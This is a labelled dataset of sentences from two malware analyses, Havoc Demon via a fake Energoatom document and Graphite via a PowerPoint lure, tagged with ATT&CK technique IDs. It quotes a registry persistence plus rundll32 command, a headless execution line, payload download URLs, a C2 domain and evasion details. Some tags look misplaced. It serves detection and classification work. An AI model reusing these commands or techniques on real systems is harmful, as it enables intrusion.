{"sentence": "Blurred content with the logo for Energoatom is displayed behind the instruction, making it appear to be protecting important information (Figure 1).", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "In reality, it’s just an ordinary image placed on the top layer of the document.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "Figure 1: Fake document Once the macro is enabled, the image disappears, creating the impression that the critical information has somehow been revealed.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "The document contains an announcement about a list of people supposedly approved to receive protective equipment (Figure 2).", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "The Word application crashes when trying to view or debug the VBA code in the document.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "Similarly, when the document composition is analyzed using oletools (a package of python tools used to analyze Microsoft OLE2 files), the tool produces several errors, including stream files that have been defined but are not present within the archive.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "We have not confirmed if either of these anomalies directly led to the crash above.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "Nevertheless, oletools eventually extracted the complete malicious VBA macro code intended to be executed by the document.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "In a likely attempt to make the location of the macro code less obvious, the VBA Project binary file that contains the actual VBA code is redirected to the file “EbDYTPZ.vEypm” instead of the default “vbaProject.bin”.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "To find this image, it iterates through all the Shape objects in the document and deletes the one with the same name.", "labels": ["T1027"], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "To hide the strings it uses during its execution, it primarily uses a simple encoding by subtracting 35 from each character of the original string and encoding the result with Base64.", "labels": ["T1027"], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "In addition, it uses other operations, such as string reverse and character splitting, prior to decoding.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "As an anti-debugging technique, execution of the primary infection routine uses the Application.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "OnTime function commonly used to schedule the execution of a specific VBA procedure instead of directly calling it.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "In this case, it schedules the immediate execution of the function “ostrategicy”.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "When debugging, this line of code produces the error, “Can’t execute code in break mode”, and then stops executing.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "Figure 3 Code with anti-debugging and image deletion As seen in Figure 3, seemingly random nonsensical comments are also added to the VBA code.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "This malware then checks if a hardcoded path, “C:\\Users\\user\\AppData\\Local\\Microsoft\\Office\\OfficeTelemetry.dll”, exists in the system.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "As discussed later, this is the same file path where the payload would be written.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "This strange implementation detail makes us think this may be a work in progress and could be a test sample created for a threat campaign that will soon be launched.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "The file at the abovementioned path is executed if it exists.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "Custom XML parts is a feature that was introduced with Office Open XML format.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "That node contains the encoded payload.", "labels": ["T1027"], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "Below is a screenshot of the encoded payload stored in “customXml\\item1.xml” of the document archive (Figure 4).", "labels": ["T1027"], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "If the node exists, it moves on to find the next one by incrementing the index (i.e., TwXfx_1).", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "It repeats this until it fails to find a node, which means it has reached the end of the payload.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "Once a node is found, the content of the node is read, and its XML tags are removed.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "Furthermore, if a string “__b_” is found at the beginning of the data, it is also removed.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "Similar to decoding strings, the binary payload is extracted by decoding the data using Base64 and adding 35.", "labels": ["T1140"], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "Only this time, the resulting bytes are further decoded with xor 82.", "labels": ["T1140"], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "The decoded payload is a 64-bit executable (.exe).", "labels": ["T1140"], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "The storage of a payload binary as a custom XML part of the document is a technique very similar to what’s presented in this blog from the website mgeeky.tech.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "The website author offers a private tool that provides similar capabilities.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "Still, the creator of this malicious document could have easily replicated the technique from the publicly available PoC linked in the blog.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "Figure 5: Comparison of code in document vs. blog Once the payload is decoded, it is written to the hardcoded path “C:\\Users\\user\\AppData\\Local\\Microsoft\\Office\\OfficeTelemetry.dll” and executed using ShellExecute with the following command line:", "labels": ["T1059.003", "T1140"], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "C:\\Windows\\System32\\conhost.exe --headless \"C:\\Users\\user\\AppData\\Local\\Microsoft\\Office\\OfficeTelemetry.dll\" \"” This eventually leads to the execution of a Havoc Demon agent, as discussed in the next section.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "Figure 6: Fake portal.office.com code signing certificate While this file has a DLL extension and contains multiple exports (Figure 7), it is a standalone EXE file.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "Figure 8: Encrypted and compressed payload in .vdata section", "labels": ["T1027"], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "The payload storage is structured as follows:", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "1. Offset 0x0: Magic (8 bytes) 2. Offset 0x8: Encrypted flag (0 = not encrypted, 3 = RC4 encryption)", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "3. Offset 0x9: Compression flag (0 = not compressed, 3 = LZNT1 compression) 4. Offset 0xa: RC4 key (64 bytes) 5. 0ffset 0x4a:", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "Compressed size (4 bytes) 6. Offset 0x4e: Uncompressed size (4 bytes) 7. Offset 0x52: Loader configuration string length (2 bytes) 8. Offset 0x154: Start of encrypted and compressed loader configuration and payload After decrypting and decompressing the payload, we see a pipe-delimited configuration followed by the actual shellcode to be executed (Figure 9).", "labels": ["T1027", "T1140"], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "Figure 9: Decrypted and decompressed payload The loader configuration format is as follows: Field 1: Injection type: Current process (1) or in the new process (2) Field 2: Flag to wait for injection thread to terminate before terminating loader (injection type 1 only)", "labels": ["T1055", "T1140"], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "Field 3: Process to inject into (injection type 2 only)", "labels": ["T1055"], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "Field 4: Process to inject into (injection type 2 only)", "labels": ["T1055"], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "Field 5: Flag to write empty file to %TEMP% upon successful injection Field 6: Wait timeout used for Windows events within the code Field 7: Unknown flag used (injection type 1 only) Field 8: Flag to enable sleep obfuscation after creating an injected thread (injection type 1 only) Field 9: Flag to enable sleep obfuscation via a separate thread Field 10: Flag to enable sleep obfuscation Field 11: Flag to patch APIs After parsing the configuration, this loader prepends a stub containing 79 bytes of junk instructions before the actual payload shellcode.", "labels": ["T1027"], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "It first ensures that a file within the %TEMP% does not exist before attempting to launch the payload.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "The name of this file is derived from a value computed from hour / 3 + year + month + day of the current time.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "Hence, the payload will only be executed up to 8 times per day.", "labels": ["T1055"], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "To launch the shellcode, the loader calls ZwCreateThreadEx to create a new suspended injection thread hidden from debuggers using the THREAD_CREATE_FLAGS_CREATE_SUSPENDED (0x01) and THREAD_CREATE_FLAGS_HIDE_FROM_DEBUGGER (0x4) thread creation flags.", "labels": ["T1055"], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "By removing the THREAD_CREATE_FLAGS_HIDE_FROM_DEBUGGER flag before the ZwCreateThreadEx call and using memory breakpoints, the shellcode can be debugged in the usual manner when the thread resumes execution.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "While not enabled in this sample, the loader also supports sleep obfuscation to hinder detection by memory scanners.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "It does this by redirecting calls to the Windows Sleep API to its own function that performs the following: 1. Suspends all threads in the current process", "labels": ["T1106"], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "Reverts the patched Sleep API code bytes 3.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "Reverts patches to security APIs (only if patching was configured) 4. Encodes sensitive memory regions in the current process with a randomized XOR key 5. Calls Sleep with the specified timeout 6.", "labels": ["T1140"], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "Decodes sensitive memory regions in the current process with the same XOR key 7. Patches security-related APIs to disable them 8.", "labels": ["T1140"], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "Patches Sleep to redirect to this function again 9. Resumes all threads in the current process", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "The patched APIs are: WldpQueryDynamicCodeTrust in wldp.dll AmsiScanBuffer in amsi.dll EtwEventWrite in ntdll.dll Interestingly, well-known Cobalt Strike configuration field names (Figure 10) are also found in plaintext within the sample, possibly to confuse static analysis tools.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "Figure 10: Cobalt Strike configuration field strings in sample Stage 2: KaynLdr The second stage consists of a shellcode with a Havoc C2 agent DLL appended to it.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "Havoc C2 framework is an open-source post-exploitation toolkit developed by C5pider and comprises the following components: Demon agent: Deployed on infected machines and communicates with configured Teamserver Teamserver: Command & Control (C2) server that manages communications with agents Client: Used by threat actor(s) to connect to a Teamserver for managing and issuing commands to connected agents.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "It then calls the loader (referred to internally as KaynLdr in the source code)", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "KaynLdr resolves the LdrLoadDll, ZwAllocateVirtualMemory, and NtProtectVirtualMemory Native APIs via API hashing before using them to allocate memory, load the Demon agent payload, and execute it directly from memory.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "LdrLoadDll: 0x9e456a43 NtAllocateVirtualMemory: 0xf783b8ec NtProtectVirtualMemory: 0x50e92888 Stage 3: Havoc Demon agent The DLL loaded by KaynLdr is the Havoc Demon agent, which is analogous to Beacon for the popular Cobalt Strike framework.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "The configuration is embedded within the Demon sample.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "Demon communicates with the C2 server specified in the configuration via HTTP or HTTPS POST requests.", "labels": ["T1071.001"], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "A randomized 256-bit key and 128-bit IV are generated and shared with the C2 server on the initial check-in request (Figure 11) for encrypting subsequent data communicated between the agent and C2 server with AES-256-CTR. Figure 11:", "labels": ["T1573.001"], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "Check in request data structure The relevant fields in the check-in request are as follows: 1. Size of data package 2. Magic value:", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "0xDE 0xAD 0xBE 0xEF", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "(hardcoded into Havoc) 3. Agent ID 4. Command ID: 0x63 (DEMON_INITIALIZE) 5. 32-byte AES key 6. 16-byte AES IV 7. AES-encrypted data While Demon can be configured to rotate among multiple C2 domains, only one C2 domain, \"ukrtatnafta[.]org\", is specified for this sample.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "This domain is very similar to ukrtatnafta[.]com, owned by Ukrtatnafta, a Ukrainian oil refining company.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "To blend in with legitimate HTTP/HTTPS traffic, Demon randomly picks one of several URIs set in the configuration and applies a specified list of HTTP headers in the requests to the C2.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "Host: ukrtatnafta[.]org:443 HTTPS: True Proxy enabled: No Method: POST Headers:Content-Type: application/javascript Pragma: public ETag: W/736fh0-3e Last-Modified: Mon, 05 Dec 2016 14:54:50 GMT Server: nginx/1.14.2 Connection: keep-alive Expires: Mon, 06 Mar 2023 13:23:47 GMT User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "Execute commands via Command Prompt Execute PowerShell commands Inject and execute DLLs, shellcode, .NET assemblies, Cobalt Strike BOF files Manipulate processes (list, create, search, kill, etc.) Manipulate files and directories (list, download, upload, view, delete, etc.)", "labels": ["T1055", "T1057", "T1059.003", "T1070.004", "T1083", "T1105"], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "Manipulate access tokens (steal, impersonate, etc.) Take screenshots As this Demon sample was unmodified from the version in Github, we will not analyze it in detail here.", "labels": ["T1113"], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "Interested readers may refer to the documentation and source code on GitHub.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "Conclusion This malware campaign showcases some interesting techniques threat actors use to evade detection and hinder analysis.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "As this document delivers a backdoor that will silently provide control over the infected user’s system to a remote operator with unknown intentions, it is safer to err on the side of caution and ensure protections are in place.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "The increasing use of open-source offensive security frameworks is a double-edged sword.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "On the other hand, it enables threat actors to abuse these frameworks to conduct attacks without developing or purchasing custom malware.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "FGLT!tr W64/Havoc.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "FGLTB!tr.bdr The FortiGuard AntiVirus service is supported by FortiGate, FortiMail, FortiClient, and FortiEDR.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "The Fortinet AntiVirus engine is a part of each of those solutions.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "As a result, customers who have these products with up-to-date protections are protected.", "labels": ["T1566.001"], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "FortiMail can detect and quarantine the malicious attachments for such campaigns.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "Fortinet’s CDR (Content Disarm and Reconstruction) service can neutralize the embedded macros inside the Word document.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "The FortiGuard Web Filtering Service detects the C2 URLs cited in this report as Malicious and blocks them.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "FortiGuard Labs provides Backdoor.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "Havoc.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "Agent IPS signature to block Havoc C2 network communications.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "Due to the ease of disruption, damage to daily operations, potential impact to an organization's reputation, and the unwanted destruction or release of PII, etc., it is important to keep all AV and IPS signatures up to date.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "We also suggest that organizations have their end users undergo our free NSE training: NSE 1 – Information Security Awareness.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "It includes a module on internet threats designed to help end users learn how to identify and protect themselves from various types of phishing attacks.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "IOCs File Hashes b773fa65bb375e6fe6d387f301f6bf33219189ea1d4a06762e965a9eba7de4e8 17637fac7f989549acd248ca9e5293d2b9a1a2e4bb0f7e4edf5571df35129f0c 9f797d705facebd1687b7765cbf65231e71821eb3c38dcc171a3fc88b9f52328 b6cb8a7cdce0bfd3a7402d22fb0014dedb259d6c91c1538ac74097b8ca22ca5c C2 URLs hxxps://ukrtatnafta[.]org hxxps://ukrtatnafta[.]org/wp-content/themes/pressa/js/avias.js hxxps://ukrtatnafta[.]org/wp-content/themes/pressa/js/mobile_menu.js hxxps://ukrtatnafta[.]org/wp-content/plugins/contact-form-7/includes/js/scripts.js hxxps://ukrtatnafta[.]org/wp-content/themes/pressa/js/bootstrap.js hxxps://ukrtatnafta[.]org/wp-content/themes/pressa/js/hovermenu.js hxxps://ukrtatnafta[.]org/wp-content/themes/pressa/js/retina-1.1.0.js hxxps://ukrtatnafta[.]org/wp-content/plugins/js_composer/assets/lib/bower/isotope/dist/isotope.pkgd.min.js hxxps://ukrtatnafta[.]org/wp-content/themes/pressa/js/custom-script.js hxxps://ukrtatnafta[.]org/wp-includes/js/wp-emoji-release.min.js hxxps://ukrtatnafta[.]org/maps-api-v3/api/js/52/1/intl/uk_ALL/util.js hxxps://ukrtatnafta[.]org/wp-includes/js/wp-embed.min.js", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "In the footsteps of the Fancy Bear: PowerPoint mouse-over event abused to deliver Graphite implants url: https://blog.cluster25.duskrise.com/2022/09/23/in-the-footsteps-of-the-fancy-bear-powerpoint-graphite/ By Cluster25 Threat Intel Team September 23, 2022", "labels": [], "doc_title": "In the footsteps of the Fancy Bear PowerPoint mouseover event abused to deliver Graphite implants"}
{"sentence": "The code execution runs a PowerShell script that downloads and executes a dropper from OneDrive.", "labels": ["T1105"], "doc_title": "In the footsteps of the Fancy Bear PowerPoint mouseover event abused to deliver Graphite implants"}
{"sentence": "INSIGHTS", "labels": [], "doc_title": "In the footsteps of the Fancy Bear PowerPoint mouseover event abused to deliver Graphite implants"}
{"sentence": "According to lure document metadata, attackers used a template potentially linked to The Organisation for Economic Co-operation and Development (OECD).", "labels": [], "doc_title": "In the footsteps of the Fancy Bear PowerPoint mouseover event abused to deliver Graphite implants"}
{"sentence": "This is a PowerPoint file (PPT) containing two slides with the same content, the first one written in English and the second in French.", "labels": [], "doc_title": "In the footsteps of the Fancy Bear PowerPoint mouseover event abused to deliver Graphite implants"}
{"sentence": "The document shows instructions about the use of the Interpretation option available in Zoom.", "labels": [], "doc_title": "In the footsteps of the Fancy Bear PowerPoint mouseover event abused to deliver Graphite implants"}
{"sentence": "Lure document content This PowerPoint exploits a code execution technique that is triggered by using Hyperlinks instead of Run Program / Macro, which is designed to be triggered when the user starts the presentation mode and moves the mouse.", "labels": ["T1204.002"], "doc_title": "In the footsteps of the Fancy Bear PowerPoint mouseover event abused to deliver Graphite implants"}
{"sentence": "The code that is executed is a PowerShell script shown below, which is run through the utility SyncAppvPublishingServer, and performs the download of a file from OneDrive with a JPEG extension (DSC0002.jpeg).", "labels": ["T1105"], "doc_title": "In the footsteps of the Fancy Bear PowerPoint mouseover event abused to deliver Graphite implants"}
{"sentence": "This in turn is a DLL file that is later decrypted and written to the local path C:\\ProgramData\\lmapi2.dll.", "labels": ["T1140"], "doc_title": "In the footsteps of the Fancy Bear PowerPoint mouseover event abused to deliver Graphite implants"}
{"sentence": "PowerShell Script The full URL used to download the DLL is reported below: URL https[:]\\\\9b5uja[.]am[.]files[.]1drv[.]com/y4mpYJ245I931DUGr7BV-dwLD7SReTqFr1N7eQOKSH_ug2G18Jd6i3SRqYqgugj3FA2JQQ7JqclvWH13Br3B5Ux-F6QcqADr-FowC_9PZi1Aj7uckcK8Uix_7ja1tF6C_8-5xYgm6zwjbXsrlEcTEenAyA8BzEaGPudutl1wMDkzVr6Wmn8_qRmYejLgbNoQmPTUe3P5NKFFLRjeeU_JhvA/DSC0002.jpeg?download", "labels": ["T1112"], "doc_title": "In the footsteps of the Fancy Bear PowerPoint mouseover event abused to deliver Graphite implants"}
{"sentence": "The execution triggers the setting of the following registry key with the value C:\\ProgramData\\lmapi2.dll to achieve persistence.", "labels": ["T1112"], "doc_title": "In the footsteps of the Fancy Bear PowerPoint mouseover event abused to deliver Graphite implants"}
{"sentence": "REG KEY HKCU\\Software\\Classes\\CLSID\\{2735412E-7F64-5B0F-8F00-5D77AFBE261E}\\InProcServer32 and the execution of the downloaded DLL via the tool", "labels": ["T1218.011"], "doc_title": "In the footsteps of the Fancy Bear PowerPoint mouseover event abused to deliver Graphite implants"}
{"sentence": "rundll32.exe.", "labels": ["T1218.011"], "doc_title": "In the footsteps of the Fancy Bear PowerPoint mouseover event abused to deliver Graphite implants"}
{"sentence": "The following syntax is responsible to perform the whole set of operations: COMMAND /c reg ADD HKCU\\Software\\Classes\\CLSID\\{2735412E-7F64-5B0F-8F00-5D77AFBE261E}\\InProcServer32 /tREG_SZ /d", "labels": [], "doc_title": "In the footsteps of the Fancy Bear PowerPoint mouseover event abused to deliver Graphite implants"}
{"sentence": "C:\\ProgramData\\lmapi2.dll /ve /f /reg:64 && rundll32.exe", "labels": [], "doc_title": "In the footsteps of the Fancy Bear PowerPoint mouseover event abused to deliver Graphite implants"}
{"sentence": "C:\\ProgramData\\lmapi2.dll,#1 The DLL file lmapi2.dll is a 64-bit PE file with the compiler timestamp Mon Jan 17 08:10:01 2022 | UTC.", "labels": [], "doc_title": "In the footsteps of the Fancy Bear PowerPoint mouseover event abused to deliver Graphite implants"}
{"sentence": "If the mutex doesn’t already exists, the malware makes another request to OneDrive using the following URL: URL https[:]//kdmzlw[.]am[.]files[.]1drv[.]com/y4mv4glUgvW9nl8z8GU71PhPw0oRtve9QpZ0pEgwJN1q_TlGY5yl5Mvkrc5rUh0Uxxknlr1qymWyCbPrkKOFgL4CARScSn9UMhq3c5hSNOQsDOamYLmOfN61lUtQO10vxtn0I7QROJdOtQ42wDsaiACGR5ZrmYwt0SmZkphGWQpT2gOFrsUxjg8_7QT01VTABiGr3T6xpWrTmFT5yu4toQ/DSC0001.jpeg?download\" A new file, again with a JPEG extension (DSC0001.jpeg), is downloaded and decrypted using the RSA and AES Cryptographic Provider from WinCrypt APIs, with a hardcoded public key.", "labels": ["T1027", "T1106", "T1140"], "doc_title": "In the footsteps of the Fancy Bear PowerPoint mouseover event abused to deliver Graphite implants"}
{"sentence": "Then, the malware dynamically calls the API NtAllocateVirtualMemory and then writes and executes the decrypted content in the newly allocated memory region.", "labels": ["T1106", "T1140"], "doc_title": "In the footsteps of the Fancy Bear PowerPoint mouseover event abused to deliver Graphite implants"}
{"sentence": "Finally, it passes the execution to the region of memory in which the copied PE is allocated, as evidence reported following: The code in the injected PE creates another mutex having the name 42Htb600y.", "labels": ["T1055"], "doc_title": "In the footsteps of the Fancy Bear PowerPoint mouseover event abused to deliver Graphite implants"}
{"sentence": "The following is an exhaustive list of de-obfuscated strings: DE-OBFUSCATED STRINGS \\\\.\\root\\CIMV2SELECT UUID FROM Win32_ComputerSystemProduct\"WQL”L\"UUID”\"Unknown CLR”L\"pwrshplugin.dll”L\"kernel32.dll”\"RtlGetVersion”\"RtlRandomEx”\"RtlIntegerToUnicodeString”\"RtlDecompressBuffer”\"RtlGetCompressionWorkSpaceSize”\"RtlCompressBuffer”\"RtlComputeCrc32”\"Windows 2000”\"Windows XP”\"Windows XP Professional”\"Windows Server 2003”\"Windows", "labels": ["T1140"], "doc_title": "In the footsteps of the Fancy Bear PowerPoint mouseover event abused to deliver Graphite implants"}
{"sentence": "Home Server”\"Windows Server 2003 R2”\"Windows Vista”\"Windows Server 2008”\"Windows Server 2008 R2”\"Windows", "labels": [], "doc_title": "In the footsteps of the Fancy Bear PowerPoint mouseover event abused to deliver Graphite implants"}
{"sentence": "7”\"Windows Server 2012”\"Windows 8”\"Windows Server 2016”\"Windows 10”\"Unidentified”\"64bit”\"32bit”\"NtQuerySystemInformation”\"GetCLRVersionForPSVersion”\"NtOpenThread”\"NtAllocateVirtualMemory”\"Shell of task = %d ended with code", "labels": [], "doc_title": "In the footsteps of the Fancy Bear PowerPoint mouseover event abused to deliver Graphite implants"}
{"sentence": "The malware communicates with the Command and Control (C&C) through the domain graph[.]Microsoft[.]com, i.e. abusing the Microsoft Graph service, which is the API Web RESTful that provides access to Microsoft Cloud service resources.", "labels": ["T1106"], "doc_title": "In the footsteps of the Fancy Bear PowerPoint mouseover event abused to deliver Graphite implants"}
{"sentence": "Hence, the analysis showed that the sample in question is a version of the Graphite malware, a malware using the Microsoft Graph API and OneDrive for C&C communications.", "labels": ["T1106"], "doc_title": "In the footsteps of the Fancy Bear PowerPoint mouseover event abused to deliver Graphite implants"}
